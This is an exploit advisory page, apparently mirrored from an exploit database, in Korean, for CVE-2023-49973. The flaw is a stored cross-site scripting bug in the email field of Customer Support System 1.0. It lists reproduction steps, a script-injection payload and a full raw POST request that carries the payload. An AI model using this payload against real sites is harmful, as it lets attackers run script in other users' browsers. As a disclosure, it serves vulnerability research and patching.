Exploit for CVE-2023-49973

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GERALDOALCANTARA-CVE-2023-49973
# CVE-2023-49973

# Customer Support System 1.0 - "customer_list" 페이지의 "email" 필드/파라미터에서의 사이트 간 스크립팅(XSS) 취약점

**설명** : Customer Support System 1.0은 저장형 XSS에 취약합니다. Customer Support System 버전 1에 XSS 취약점이 존재합니다. 악의적인 사용자는 고객 편집/생성 시 "email" 필드/파라미터를 통해 JavaScript 코드를 삽입할 수 있습니다. 이 코드는 "/customer_support/index.php?page=customer_list" 페이지에 접속할 때마다 실행됩니다.

**취약한 제품 버전** : Customer Support System 1.0  
**CVE 작성자** : Geraldo Alcântara  
**날짜** : 28/11/2023  
**확인일** : 19/12/2023  
**CVE** : CVE-2023-49973  
**테스트 환경** : Windows

### 재현 단계:

  1. 애플리케이션에 로그인합니다.
  2. 기존 고객을 편집하려면 "/customer_support/index.php?page=customer_list"로 이동하거나, 새 고객을 생성하려면 "/customer_support/index.php?page=new_customer"로 이동합니다.
  3. 고객을 생성 또는 편집하고 "email" 필드/파라미터에 악성 페이로드를 입력합니다.
  4. 페이로드:



root@kitploit:~
    
    
    </dt></b><script>alert(document.domain)</script>
    

### 요청:

root@kitploit:~
    
    
    POST /customer_support/ajax.php?action=save_customer HTTP/1.1
    Host: 192.168.68.148
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
    Accept: */*
    Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
    Content-Length: 1149
    Origin: http://192.168.68.148
    Connection: close
    Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
    Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
    
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="id"
    
    
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="firstname"
    
    teste
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="middlename"
    
    
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="lastname"
    
    xss
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="contact"
    
    210
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="address"
    
    asdasd
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="email"
    
    </dt></b><script>alert(document.domain)</script>
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="password"
    
    xss
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="cpass"
    
    xss
    -----------------------------212391604122778812451614149575--